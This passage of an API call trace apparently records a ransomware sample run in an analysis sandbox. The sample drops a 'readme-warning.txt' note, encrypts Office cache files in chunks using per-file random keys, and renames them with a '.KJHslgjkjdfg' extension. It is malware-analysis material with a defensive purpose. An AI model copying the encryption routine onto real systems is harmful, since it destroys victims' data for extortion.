lpVolumeSerialNumber=0x29dece0, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x29dece0*=0x9c354b42, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0153.155] GetProcessHeap () returned 0x990000 [0153.155] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9b1918 | out: hHeap=0x990000) returned 1 [0153.155] wsprintfA (in: param_1=0x29def2f, param_2="-%08X" | out: param_1="-9C354B42") returned 9 [0153.155] wsprintfA (in: param_1=0x29df33c, param_2="%08X" | out: param_1="4B2E4630") returned 8 [0153.155] GetProcessHeap () returned 0x990000 [0153.155] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x3b4) returned 0x9b78c0 [0153.155] wsprintfW (in: param_1=0x29de30c, param_2="%s\\%s" | out: param_1="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\readme-warning.txt") returned 81 [0153.155] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\readme-warning.txt" (normalized: "c:\\msocache\\all users\\{90140000-001b-0409-1000-0000000ff1ce}-c\\readme-warning.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x124 [0153.156] WriteFile (in: hFile=0x124, lpBuffer=0x9b78c0*, nNumberOfBytesToWrite=0x3b3, lpNumberOfBytesWritten=0x29de308, lpOverlapped=0x0 | out: lpBuffer=0x9b78c0*, lpNumberOfBytesWritten=0x29de308*=0x3b3, lpOverlapped=0x0) returned 1 [0153.156] CloseHandle (hObject=0x124) returned 1 [0153.156] GetProcessHeap () returned 0x990000 [0153.156] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9dc8a8 | out: hHeap=0x990000) returned 1 [0153.156] GetProcessHeap () returned 0x990000 [0153.157] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9b78c0 | out: hHeap=0x990000) returned 1 [0153.157] GetProcessHeap () returned 0x990000 [0153.157] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7f8 | out: hHeap=0x990000) returned 1 [0153.157] GetProcessHeap () returned 0x990000 [0153.157] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0153.157] FindClose (in: hFindFile=0x9b6528 | out: hFindFile=0x9b6528) returned 1 [0153.157] GetProcessHeap () returned 0x990000 [0153.157] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9dc610 | out: hHeap=0x990000) returned 1 [0153.157] FindNextFileW (in: hFindFile=0x9b6568, lpFindFileData=0x29df810 | out: lpFindFileData=0x29df810*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xf00dbad0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xf58c8770, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xf58c8770, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="{90140000-002C-0409-1000-0000000FF1CE}-C", cAlternateFileName="{92787~1")) returned 1 [0153.157] GetProcessHeap () returned 0x990000 [0153.157] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x8e) returned 0x9b2468 [0153.157] FindFirstFileW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\*.*", lpFindFileData=0x29df588 | out: lpFindFileData=0x29df588*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xf00dbad0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xf58c8770, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xf58c8770, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x9b6528 [0153.162] GetProcessHeap () returned 0x990000 [0153.162] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9b2468 | out: hHeap=0x990000) returned 1 [0153.162] FindNextFileW (in: hFindFile=0x9b6528, lpFindFileData=0x29df588 | out: lpFindFileData=0x29df588*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xf00dbad0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xf58c8770, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xf58c8770, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0153.162] FindNextFileW (in: hFindFile=0x9b6528, lpFindFileData=0x29df588 | out: lpFindFileData=0x29df588*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xf01c0310, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xf07b3a10, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xf07b3a10, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Proof.en", cAlternateFileName="")) returned 1 [0153.162] GetProcessHeap () returned 0x990000 [0153.163] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x290) returned 0x9dc610 [0153.163] GetProcessHeap () returned 0x990000 [0153.163] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0xa0) returned 0x9b2468 [0153.163] FindFirstFileW (in: lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\*.*", lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xf01c0310, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xf07b3a10, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xf07b3a10, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x9b64e8 [0153.163] GetProcessHeap () returned 0x990000 [0153.163] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9b2468 | out: hHeap=0x990000) returned 1 [0153.163] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xf01c0310, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xf07b3a10, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xf07b3a10, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0153.163] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x219b4a00, ftCreationTime.dwHighDateTime=0x1cad01b, ftLastAccessTime.dwLowDateTime=0x219b4a00, ftLastAccessTime.dwHighDateTime=0x1cad01b, ftLastWriteTime.dwLowDateTime=0xf07b1ad0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0xaf35ed, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Proof.cab", cAlternateFileName="")) returned 1 [0153.163] GetProcessHeap () returned 0x990000 [0153.163] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x2a2) returned 0x9dc8a8 [0153.163] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.cab" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.en\\proof.cab"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0153.164] GetFileSizeEx (in: hFile=0xf0, lpFileSize=0x29df280 | out: lpFileSize=0x29df280*=11482605) returned 1 [0153.164] GetProcessHeap () returned 0x990000 [0153.164] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0153.164] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0153.165] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0153.165] WriteFile (in: hFile=0xf0, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0x3, lpNumberOfBytesWritten=0x29df26c, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df26c*=0x3, lpOverlapped=0x0) returned 1 [0153.167] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df270 | out: phKey=0x29df270*=0x9b6628) returned 1 [0153.167] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0153.167] GetProcessHeap () returned 0x990000 [0153.167] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x30) returned 0x9b4db8 [0153.167] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9b4db8*, pdwDataLen=0x29df250*=0x30, dwBufLen=0x30 | out: pbData=0x9b4db8*, pdwDataLen=0x29df250*=0x30) returned 1 [0153.167] CryptDestroyKey (hKey=0x9b6628) returned 1 [0153.167] WriteFile (in: hFile=0xf0, lpBuffer=0x9b4db8*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x29df26c, lpOverlapped=0x0 | out: lpBuffer=0x9b4db8*, lpNumberOfBytesWritten=0x29df26c*=0x30, lpOverlapped=0x0) returned 1 [0153.167] WriteFile (in: hFile=0xf0, lpBuffer=0x29df274*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df26c, lpOverlapped=0x0 | out: lpBuffer=0x29df274*, lpNumberOfBytesWritten=0x29df26c*=0x4, lpOverlapped=0x0) returned 1 [0153.167] WriteFile (in: hFile=0xf0, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df26c, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df26c*=0x10, lpOverlapped=0x0) returned 1 [0153.167] WriteFile (in: hFile=0xf0, lpBuffer=0x9b1ba8*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df26c, lpOverlapped=0x0 | out: lpBuffer=0x9b1ba8*, lpNumberOfBytesWritten=0x29df26c*=0x80, lpOverlapped=0x0) returned 1 [0153.167] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0153.167] WriteFile (in: hFile=0xf0, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df26c, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df26c*=0x8, lpOverlapped=0x0) returned 1 [0153.168] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df270 | out: phKey=0x29df270*=0x9b6628) returned 1 [0153.168] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0153.168] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df240 | out: lpNewFilePointer=0x0) returned 1 [0153.168] ReadFile (in: hFile=0xf0, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x29df234, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df234*=0x40000, lpOverlapped=0x0) returned 1 [0153.172] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df23c*=0x40000, dwBufLen=0x40000 | out: pbData=0x27d0020*, pdwDataLen=0x29df23c*=0x40000) returned 1 [0153.176] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0153.176] WriteFile (in: hFile=0xf0, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x29df238, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df238*=0x40000, lpOverlapped=0x0) returned 1 [0153.177] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0xaf36b4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0153.177] WriteFile (in: hFile=0xf0, lpBuffer=0x29df240*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df238, lpOverlapped=0x0 | out: lpBuffer=0x29df240*, lpNumberOfBytesWritten=0x29df238*=0x8, lpOverlapped=0x0) returned 1 [0153.177] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x3a674f, lpNewFilePointer=0x0, dwMoveMethod=0x29df240 | out: lpNewFilePointer=0x0) returned 1 [0153.177] ReadFile (in: hFile=0xf0, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x29df234, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df234*=0x40000, lpOverlapped=0x0) returned 1 [0153.180] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df23c*=0x40000, dwBufLen=0x40000 | out: pbData=0x27d0020*, pdwDataLen=0x29df23c*=0x40000) returned 1 [0153.183] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x3a674f, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0153.183] WriteFile (in: hFile=0xf0, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x29df238, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df238*=0x40000, lpOverlapped=0x0) returned 1 [0153.184] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0xaf36b4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0153.184] WriteFile (in: hFile=0xf0, lpBuffer=0x29df240*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df238, lpOverlapped=0x0 | out: lpBuffer=0x29df240*, lpNumberOfBytesWritten=0x29df238*=0x8, lpOverlapped=0x0) returned 1 [0153.184] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0xab35f0, lpNewFilePointer=0x0, dwMoveMethod=0x29df240 | out: lpNewFilePointer=0x0) returned 1 [0153.184] ReadFile (in: hFile=0xf0, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x29df234, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df234*=0x40000, lpOverlapped=0x0) returned 1 [0153.187] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df23c*=0x40000, dwBufLen=0x40000 | out: pbData=0x27d0020*, pdwDataLen=0x29df23c*=0x40000) returned 1 [0153.190] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0xab35f0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0153.190] WriteFile (in: hFile=0xf0, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x29df238, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df238*=0x40000, lpOverlapped=0x0) returned 1 [0153.191] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0xaf36b4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0153.191] WriteFile (in: hFile=0xf0, lpBuffer=0x29df240*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df238, lpOverlapped=0x0 | out: lpBuffer=0x29df240*, lpNumberOfBytesWritten=0x29df238*=0x8, lpOverlapped=0x0) returned 1 [0153.191] CryptDestroyKey (hKey=0x9b6628) returned 1 [0153.191] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0xaf36b4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0153.192] SetEndOfFile (hFile=0xf0) returned 1 [0153.196] GetProcessHeap () returned 0x990000 [0153.196] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9b4db8 | out: hHeap=0x990000) returned 1 [0153.196] GetProcessHeap () returned 0x990000 [0153.196] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0153.196] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.cab" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.en\\proof.cab"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.cab.KJHslgjkjdfg" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.en\\proof.cab.kjhslgjkjdfg")) returned 1 [0153.197] CloseHandle (hObject=0xf0) returned 1 [0153.197] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x4db6cb00, ftCreationTime.dwHighDateTime=0x1cad01b, ftLastAccessTime.dwLowDateTime=0x4db6cb00, ftLastAccessTime.dwHighDateTime=0x1cad01b, ftLastWriteTime.dwLowDateTime=0xf020c5d0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0xd5c00, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Proof.msi", cAlternateFileName="")) returned 1 [0153.197] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.msi" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.en\\proof.msi"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0153.197] GetProcessHeap () returned 0x990000 [0153.197] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0153.197] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0153.197] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0153.198] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0153.198] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0153.198] GetProcessHeap () returned 0x990000 [0153.198] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x30) returned 0x9b4db8 [0153.198] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9b4db8*, pdwDataLen=0x29df258*=0x30, dwBufLen=0x30 | out: pbData=0x9b4db8*, pdwDataLen=0x29df258*=0x30) returned 1 [0153.198] CryptDestroyKey (hKey=0x9b6628) returned 1 [0153.198] WriteFile (in: hFile=0xf0, lpBuffer=0x9b4db8*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b4db8*, lpNumberOfBytesWritten=0x29df270*=0x30, lpOverlapped=0x0) returned 1 [0153.200] WriteFile (in: hFile=0xf0, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0153.200] WriteFile (in: hFile=0xf0, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0153.200] WriteFile (in: hFile=0xf0, lpBuffer=0x9b53e0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b53e0*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0153.201] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0153.201] WriteFile (in: hFile=0xf0, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0153.201] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0153.201] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0153.201] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0153.201] ReadFile (in: hFile=0xf0, lpBuffer=0x27d0020, nNumberOfBytesToRead=0xd5c00, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0xd5c00, lpOverlapped=0x0) returned 1 [0153.215] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0xd5c00, dwBufLen=0xd5c00 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0xd5c00) returned 1 [0153.225] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0153.225] WriteFile (in: hFile=0xf0, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0xd5c00, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0xd5c00, lpOverlapped=0x0) returned 1 [0153.227] CryptDestroyKey (hKey=0x9b6628) returned 1 [0153.228] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0xd5cc4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0153.228] SetEndOfFile (hFile=0xf0) returned 1 [0153.230] GetProcessHeap () returned 0x990000 [0153.230] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9b4db8 | out: hHeap=0x990000) returned 1 [0153.230] GetProcessHeap () returned 0x990000 [0153.230] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0153.230] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.msi" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.en\\proof.msi"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.msi.KJHslgjkjdfg" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.en\\proof.msi.kjhslgjkjdfg")) returned 1 [0153.239] CloseHandle (hObject=0xf0) returned 1 [0153.239] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xa38b7300, ftCreationTime.dwHighDateTime=0x1cad01b, ftLastAccessTime.dwLowDateTime=0xa38b7300, ftLastAccessTime.dwHighDateTime=0x1cad01b, ftLastWriteTime.dwLowDateTime=0xf01be3d0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x543, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Proof.xml", cAlternateFileName="")) returned 1 [0153.239] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\Proof.xml" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.en\\proof.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0153.239] GetProcessHeap () returned 0x990000 [0153.239] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0153.239] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0153.239] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0153.240] WriteFile (in: hFile=0xf0, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0xd, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0xd, lpOverlapped=0x0) returned 1 [0153.284] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0153.284] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0153.285] GetProcessHeap () returned 0x990000 [0153.285] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x30) returned 0x9b4db8 [0153.285] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9b4db8*, pdwDataLen=0x29df258*=0x30, dwBufLen=0x30 | out: pbData=0x9b4db8*, pdwDataLen=0x29df258*=0x30) returned 1 [0153.285] CryptDestroyKey (hKey=0x9b6628) returned 1 [0153.285] WriteFile (in: hFile=0xf0, lpBuffer=0x9b4db8*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b4db8*, lpNumberOfBytesWritten=0x29df270*=0x30, lpOverlapped=0x0) returned 1 [0153.285] WriteFile (in: hFile=0xf0, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0153.285] WriteFile (in: hFile=0xf0, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0153.285] WriteFile (in: hFile=0xf0, lpBuffer=0x9b1ba8*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b1ba8*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 